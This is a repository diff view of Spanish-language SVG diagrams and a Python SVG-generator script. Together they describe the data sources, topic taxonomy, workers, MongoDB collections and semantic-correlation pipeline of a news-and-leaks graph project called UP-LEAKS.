<text x="46" y="596" fill="#3ad6ff" font-size="13" letter-spacing="2">EL OTRO CIRCUITO — PRENSA INDEPENDIENTE</text>
<text x="46" y="616" fill="#8a938a" font-size="12.5">Menos cabeceras, pero cada una con fuente propia. No replican: producen.</text>
<rect x="46" y="638" width="290" height="148" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.3" stroke-opacity="0.75"/>
<text x="62" y="660" fill="#3ad6ff" font-size="12" letter-spacing="1">FUENTES PROPIAS</text>
<text x="62" y="682" fill="#8a938a" font-size="12"> documentos filtrados</text>
<text x="62" y="706" fill="#8a938a" font-size="12"> peticiones FOIA</text>
<text x="62" y="730" fill="#8a938a" font-size="12"> reporteo sobre el terreno</text>
<text x="62" y="754" fill="#8a938a" font-size="12"> archivos judiciales</text>
<text x="62" y="778" fill="#8a938a" font-size="12"> OSINT y satélite</text>
<rect x="376" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="390" y="660" fill="#3ad6ff" font-size="13.5">Bellingcat</text>
<text x="390" y="677" fill="#5a625a" font-size="11">OSINT</text>
<line x1="336" y1="696" x2="372" y2="664" stroke="#3ad6ff" stroke-opacity="0.45" stroke-width="1.2" marker-end="url(#flc)"/>
<rect x="620" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="634" y="660" fill="#3ad6ff" font-size="13.5">The Intercept</text>
<text x="634" y="677" fill="#5a625a" font-size="11">filtraciones</text>
<rect x="864" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="878" y="660" fill="#3ad6ff" font-size="13.5">Declassified UK</text>
<text x="878" y="677" fill="#5a625a" font-size="11">FOIA</text>
<rect x="1108" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="1122" y="660" fill="#3ad6ff" font-size="13.5">Meduza</text>
<text x="1122" y="677" fill="#5a625a" font-size="11">exilio</text>
<rect x="376" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="390" y="724" fill="#3ad6ff" font-size="13.5">Amu TV / 8am</text>
<text x="390" y="741" fill="#5a625a" font-size="11">exilio afgano</text>
<line x1="336" y1="696" x2="372" y2="728" stroke="#3ad6ff" stroke-opacity="0.45" stroke-width="1.2" marker-end="url(#flc)"/>
<rect x="620" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="634" y="724" fill="#3ad6ff" font-size="13.5">Dabanga</text>
<text x="634" y="741" fill="#5a625a" font-size="11">Sudán</text>
<rect x="864" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="878" y="724" fill="#3ad6ff" font-size="13.5">elDiario.es</text>
<text x="878" y="741" fill="#5a625a" font-size="11">socios</text>
<rect x="1108" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
<text x="1122" y="724" fill="#3ad6ff" font-size="13.5">CTXT</text>
<text x="1122" y="741" fill="#5a625a" font-size="11">lectores</text>
<rect x="46" y="800" width="1408" height="108" rx="5" fill="#0d0f0d" stroke="#39ff14" stroke-width="2"/>
<text x="72" y="838" fill="#39ff14" font-size="25" font-weight="bold" letter-spacing="3">UP-LEAKS</text>
<text x="72" y="862" fill="#8a938a" font-size="12.5">Ingiere los dos circuitos y los cruza contra el archivo de WikiLeaks.</text>
<text x="72" y="882" fill="#8a938a" font-size="12.5">Donde una noticia y un documento filtrado hablan de lo mismo, aparece una arista.</text>
<text x="940" y="846" fill="#39ff14" font-size="26" font-weight="bold">236</text>
<text x="940" y="868" fill="#5a625a" font-size="11.5" letter-spacing="1">feeds</text>
<text x="1112" y="846" fill="#39ff14" font-size="26" font-weight="bold">36.182</text>
<text x="1112" y="868" fill="#5a625a" font-size="11.5" letter-spacing="1">documentos</text>
<text x="1284" y="846" fill="#39ff14" font-size="26" font-weight="bold">115M</text>
<text x="1284" y="868" fill="#5a625a" font-size="11.5" letter-spacing="1">aristas</text>
<path d="M1400,546 L1400,786" fill="none" stroke="#39ff14" stroke-opacity="0.45" stroke-width="1.6" stroke-dasharray="4 4" marker-end="url(#fl)"/>
<text x="1408" y="658" fill="#5a625a" font-size="11">generalista</text>
<path d="M496,770 L496,786" fill="none" stroke="#3ad6ff" stroke-opacity="0.6" stroke-width="1.6" marker-end="url(#flc)"/>
<text x="508" y="780" fill="#5a625a" font-size="11">independiente</text>
<text x="46" y="920" fill="#5a625a" font-size="11">upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>
</svg>

Before

Width:  |  Height:  |  Size: 13 KiB

View file

@ -1,149 +0,0 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1500 1160" width="1500" height="1160" font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" aria-label="De donde salen los datos de UP-LEAKS y como se clasifican en temas, subtemas y filtros">
<defs>
<marker id="f1" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#3ad6ff" opacity="0.85"/></marker>
<marker id="f2" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#39ff14" opacity="0.85"/></marker>
<marker id="f3" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#ff5ea8" opacity="0.85"/></marker>
</defs>
<rect width="1500" height="1160" fill="#050505"/>
<text x="46" y="54" fill="#39ff14" font-size="27" text-anchor="start" font-weight="bold" letter-spacing="3">DE DÓNDE SALEN LOS DATOS</text>
<text x="46" y="80" fill="#8a938a" font-size="14" text-anchor="start" font-weight="normal" letter-spacing="0">Cuatro fuentes, una etiqueta que viaja con cada documento, y los filtros que salen de ahí.</text>
<line x1="46" y1="96" x2="1454" y2="96" stroke="#39ff14" stroke-opacity="0.28"/>
<text x="46" y="118" fill="#3ad6ff" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">1 · LO QUE ENTRA</text>
<rect x="31" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="49" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">236 feeds RSS</text>
<text x="49" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> prensa de 5 idiomas</text>
<text x="49" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> agencias y cabeceras</text>
<text x="49" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> medios locales y de exilio</text>
<rect x="397" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="415" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">API de Wikipedia</text>
<text x="415" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> 28.266 artículos</text>
<text x="415" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> por tema y palabra clave</text>
<text x="415" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> el contexto histórico</text>
<rect x="763" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="781" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">WikiLeaks</text>
<text x="781" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> 36.182 documentos</text>
<text x="781" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> archivo completo por torrent</text>
<text x="781" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> cables, correos, informes</text>
<rect x="1129" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
<text x="1147" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">Imágenes</text>
<text x="1147" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> og:image de cada artículo</text>
<text x="1147" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> fotos de Wikipedia</text>
<text x="1147" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0"> descritas con Qwen3-VL</text>
<line x1="201" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
<line x1="567" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
<line x1="933" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
<line x1="1299" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
<rect x="46" y="344" width="1408" height="128" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.8" stroke-opacity="1.0"/>
<text x="64" y="372" fill="#39ff14" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">2 · LA ETIQUETA NO SE CALCULA: VIAJA CON LA FUENTE</text>
<text x="64" y="400" fill="#8a938a" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">Cada feed del catálogo lleva escrito su tema y su subtema. Al ingerir un artículo, el artículo los hereda.</text>
<text x="64" y="420" fill="#8a938a" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">No hay clasificador automático: la decisión es editorial y está en el catálogo, no en el texto.</text>
<text x="64" y="448" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">Es simple y es auditable — se ve de un vistazo por qué un artículo está donde está — pero tiene un coste: si un</text>
<text x="64" y="464" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">medio de clima publica sobre geopolítica, ese artículo entra igualmente como clima.</text>
<rect x="1000" y="360" width="436" height="96" rx="4" fill="#12100a" stroke="#ffb020" stroke-width="1.2" stroke-opacity="0.8"/>
<text x="1016" y="382" fill="#ffb020" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="1">coconews_feeds</text>
<text x="1016" y="404" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">nombre</text>
<text x="1110" y="404" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">"Ariana News Dari"</text>
<text x="1016" y="422" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">tema</text>
<text x="1110" y="422" fill="#7cff5a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">"guerra global"</text>
<text x="1016" y="440" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">subtema</text>
<text x="1110" y="440" fill="#7cff5a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">"Afganistán"</text>
<rect x="20" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#ff3b3b" stroke-width="1.6" stroke-opacity="0.9"/>
<rect x="20" y="558" width="276" height="30" rx="4" fill="#ff3b3b" fill-opacity="0.16"/>
<text x="34" y="579" fill="#ff3b3b" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">GLOB-WAR</text>
<text x="282" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">49 feeds</text>
<text x="34" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">guerra global</text>
<text x="34" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
<text x="34" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Asia</text>
<text x="34" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Oriente Medio</text>
<text x="34" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Defensa</text>
<text x="34" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Geopolítica</text>
<text x="34" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Afganistán</text>
<text x="34" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Europa</text>
<text x="34" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Conflictos</text>
<text x="34" y="784" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Rusia</text>
<text x="34" y="804" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Humanitario</text>
<line x1="750" y1="476" x2="158" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
<rect x="316" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#4a6bff" stroke-width="1.6" stroke-opacity="0.9"/>
<rect x="316" y="558" width="276" height="30" rx="4" fill="#4a6bff" fill-opacity="0.16"/>
<text x="330" y="579" fill="#4a6bff" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">INT-SEC</text>
<text x="578" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">19 feeds</text>
<text x="330" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">inteligencia y seguridad</text>
<text x="330" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Ciberseguridad</text>
<text x="330" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Análisis</text>
<text x="330" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Defensa</text>
<text x="330" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Inteligencia</text>
<text x="330" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
<text x="330" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Europa</text>
<text x="330" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
<text x="330" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
<line x1="750" y1="476" x2="454" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
<rect x="612" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#5fe36a" stroke-width="1.6" stroke-opacity="0.9"/>
<rect x="612" y="558" width="276" height="30" rx="4" fill="#5fe36a" fill-opacity="0.16"/>
<text x="626" y="579" fill="#5fe36a" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">CLIMATE</text>
<text x="874" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">120 feeds</text>
<text x="626" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">cambio climático</text>
<text x="626" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
<text x="626" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
<text x="626" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Ciencia</text>
<text x="626" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Biodiversidad</text>
<text x="626" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Energía</text>
<text x="626" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Asia</text>
<text x="626" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Tecnología</text>
<text x="626" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· ONG</text>
<text x="626" y="784" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Salud</text>
<text x="626" y="804" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
<line x1="750" y1="476" x2="750" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
<rect x="908" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#ffe600" stroke-width="1.6" stroke-opacity="0.9"/>
<rect x="908" y="558" width="276" height="30" rx="4" fill="#ffe600" fill-opacity="0.16"/>
<text x="922" y="579" fill="#ffe600" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">ECO-CORP</text>
<text x="1170" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">24 feeds</text>
<text x="922" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">economía y corporaciones</text>
<text x="922" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
<text x="922" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Tecnología</text>
<text x="922" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
<text x="922" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
<text x="922" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Gestión</text>
<text x="922" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Corporaciones</text>
<text x="922" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Comercio</text>
<line x1="750" y1="476" x2="1046" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
<rect x="1204" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#ff9b30" stroke-width="1.6" stroke-opacity="0.9"/>
<rect x="1204" y="558" width="276" height="30" rx="4" fill="#ff9b30" fill-opacity="0.16"/>
<text x="1218" y="579" fill="#ff9b30" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">POPL-UP</text>
<text x="1466" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">24 feeds</text>
<text x="1218" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">demografía y sociedad</text>
<text x="1218" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
<text x="1218" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
<text x="1218" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
<text x="1218" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Salud</text>
<text x="1218" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Derechos Humanos</text>
<text x="1218" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Política</text>
<text x="1218" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Migración</text>
<text x="1218" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Europa</text>
<text x="1218" y="784" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Reino Unido</text>
<line x1="750" y1="476" x2="1342" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
<rect x="40" y="528" width="461" height="26" fill="#050505"/>
<text x="46" y="547" fill="#7cff5a" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">3 · CINCO TEMAS, Y LOS SUBTEMAS QUE EXISTEN DE VERDAD</text>
<text x="46" y="842" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">Los subtemas son geográficos y de sección, no conceptuales. No hay un subtema "energía renovable": hay "Energía", que es lo que</text>
<text x="46" y="858" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">trae el catálogo. El menú de la web todavía ofrece algunos que no existen en la base y por eso filtran a cero.</text>
<rect x="46" y="926" width="1408" height="180" rx="4" fill="#0d0f0d" stroke="#ff5ea8" stroke-width="1.5" stroke-opacity="1.0"/>
<rect x="40" y="896" width="217" height="26" fill="#050505"/>
<text x="46" y="915" fill="#ff5ea8" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">4 · LO QUE PUEDES FILTRAR</text>
<text x="70" y="966" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">tema</text>
<text x="220" y="966" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">la vista que eliges: GLOB-WAR, INT-SEC…</text>
<text x="70" y="996" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">subtema</text>
<text x="220" y="996" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">desplegable, hereda del feed</text>
<text x="70" y="1026" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">fecha</text>
<text x="220" y="1026" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">Semanal (7 días) o Todas</text>
<text x="70" y="1056" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">palabra clave</text>
<text x="220" y="1056" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">busca dentro del texto</text>
<text x="750" y="966" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">nodos</text>
<text x="900" y="966" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">cuántos traer, hasta 500</text>
<text x="750" y="996" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">% similitud</text>
<text x="900" y="996" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">umbral mínimo para dibujar una arista</text>
<text x="750" y="1026" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">país / región</text>
<text x="900" y="1026" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">solo en coconews</text>
<text x="750" y="1056" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">entidad</text>
<text x="900" y="1056" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">persona u organización, vía NER</text>
<line x1="750" y1="876" x2="750" y2="918" stroke="#ff5ea8" stroke-width="1.5" stroke-opacity="0.5" marker-end="url(#f3)"/>
<text x="46" y="1138" fill="#5a625a" font-size="11" text-anchor="start" font-weight="normal" letter-spacing="0">upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>
</svg>

Before

Width:  |  Height:  |  Size: 20 KiB

View file

@ -1,129 +0,0 @@
#!/usr/bin/env python3
# Genera el diagrama de arquitectura de UP-LEAKS / FLUJOS.
import io, sys
W, H = 1500, 770
NEON, NEON2 = "#39ff14", "#7cff5a"
BG, PANEL = "#050505", "#0d0f0d"
GRIS, GRIS2 = "#8a938a", "#5a625a"
CIAN, AMBAR, MAGENTA = "#3ad6ff", "#ffb020", "#ff5ea8"
o = []
a = o.append
a(f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {W} {H}" width="{W}" height="{H}" '
f'font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" '
f'aria-label="Arquitectura de UP-LEAKS: fuentes, workers, base de datos, correlacion, API y visualizacion">')
a('<defs>')
for nom, col in (("a1", NEON), ("a2", CIAN), ("a3", AMBAR), ("a4", MAGENTA)):
a(f'<marker id="{nom}" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
f'<path d="M0,0 L7,3 L0,6 Z" fill="{col}" opacity="0.85"/></marker>')
a('</defs>')
a(f'<rect width="{W}" height="{H}" fill="{BG}"/>')
a(f'<text x="46" y="54" fill="{NEON}" font-size="27" font-weight="bold" letter-spacing="3">ARQUITECTURA</text>')
a(f'<text x="46" y="80" fill="{GRIS}" font-size="14">'
f'De la fuente al grafo. Cada bloque es un proceso independiente; se comunican solo por MongoDB.</text>')
a(f'<line x1="46" y1="96" x2="{W-46}" y2="96" stroke="{NEON}" stroke-opacity="0.28"/>')
def columna(x, y, w, titulo, color, items, alto_item=30, cab=40):
h = cab + len(items) * alto_item + 14
a(f'<rect x="{x}" y="{y}" width="{w}" height="{h}" rx="4" fill="{PANEL}" '
f'stroke="{color}" stroke-width="1.5" stroke-opacity="0.85"/>')
a(f'<text x="{x+16}" y="{y+26}" fill="{color}" font-size="13" letter-spacing="1.5">{titulo}</text>')
for i, it in enumerate(items):
yy = y + cab + 20 + i * alto_item
if isinstance(it, tuple):
a(f'<text x="{x+16}" y="{yy}" fill="{GRIS}" font-size="12.5">{it[0]}</text>')
a(f'<text x="{x+w-16}" y="{yy}" fill="{GRIS2}" font-size="11.5" text-anchor="end">{it[1]}</text>')
else:
a(f'<text x="{x+16}" y="{yy}" fill="{GRIS}" font-size="12.5">{it}</text>')
return h
Y = 130
X1, W1 = 46, 300
X2, W2 = 402, 320
X3, W3 = 778, 340
X4, W4 = 1154, 300
h1 = columna(X1, Y, W1, "FUENTES", CIAN, [
("236 feeds RSS", "5 idiomas"),
("API de Wikipedia", "28.266"),
("WikiLeaks", "36.182"),
("buzón de envíos", "periodistas"),
])
h2 = columna(X2, Y, W2, "WORKERS · coconews/", NEON, [
("ingestor.py", "cada 15 min"),
("translator.py", "→ español"),
("ner.py", "spaCy"),
("embedder.py", "MiniLM 384d"),
])
h3 = columna(X3, Y, W3, "MONGODB · FLUJOS_DATOS", AMBAR, [
("noticias", "98.110"),
("wikipedia", "28.266"),
("torrents", "36.182"),
("embeddings_chunks", "531.306"),
("coconews_entidades", "76.857"),
("comparaciones", "115M"),
])
h4 = columna(X4, Y, W4, "APIs", MAGENTA, [
("FLUJOS_APP.js", ":3000"),
(" /api/data", "grafo"),
(" /api/stats", "métricas"),
(" /api/submit", "buzón"),
("coconews server.js", ":3100"),
])
ymid = Y + 70
for (xa, wa, xb, col, mk) in ((X1, W1, X2, CIAN, "a2"), (X2, W2, X3, NEON, "a1"), (X3, W3, X4, AMBAR, "a3")):
a(f'<line x1="{xa+wa+6}" y1="{ymid}" x2="{xb-10}" y2="{ymid}" stroke="{col}" '
f'stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#{mk})"/>')
# ── correlacion ───────────────────────────────────────────────────────────
Y2 = Y + max(h1, h2, h3, h4) + 56
a(f'<rect x="{X1}" y="{Y2}" width="{X3+W3-X1}" height="150" rx="4" fill="{PANEL}" '
f'stroke="{NEON}" stroke-width="1.5"/>')
a(f'<text x="{X1+18}" y="{Y2+28}" fill="{NEON}" font-size="13" letter-spacing="1.5">'
f'CORRELACIÓN SEMÁNTICA · motor_comparacion.py</text>')
pasos = [
("1. vectorizar", "cada documento y cada fragmento → 384 dimensiones"),
("2. coseno", "noticia contra todo el corpus de leaks, reducido por máximo de fragmento"),
("3. anti-hub", "score = cos λ·ln(1+grado); descarta los documentos catch-all"),
("4. arista", "si pasa el umbral, se escribe el par en `comparaciones`"),
]
for i, (t, d) in enumerate(pasos):
yy = Y2 + 56 + i * 24
a(f'<text x="{X1+18}" y="{yy}" fill="{NEON2}" font-size="12">{t}</text>')
a(f'<text x="{X1+150}" y="{yy}" fill="{GRIS}" font-size="12">{d}</text>')
# ── navegador ─────────────────────────────────────────────────────────────
a(f'<rect x="{X4}" y="{Y2}" width="{W4}" height="150" rx="4" fill="{PANEL}" '
f'stroke="{MAGENTA}" stroke-width="1.5"/>')
a(f'<text x="{X4+16}" y="{Y2+28}" fill="{MAGENTA}" font-size="13" letter-spacing="1.5">NAVEGADOR</text>')
for i, t in enumerate(["nginx · upleaks.org", "3d-force-graph + Three.js",
"5 vistas temáticas", "semanal / todas"]):
a(f'<text x="{X4+16}" y="{Y2+56+i*24}" fill="{GRIS}" font-size="12.5">{t}</text>')
a(f'<line x1="{X3+W3+6}" y1="{Y2+75}" x2="{X4-10}" y2="{Y2+75}" stroke="{MAGENTA}" '
f'stroke-width="1.6" stroke-opacity="0.6" marker-end="url(#a4)"/>')
# ── nota al pie ───────────────────────────────────────────────────────────
Y3 = Y2 + 150 + 62
a(f'<text x="{X1}" y="{Y3+18}" fill="{GRIS2}" font-size="12">'
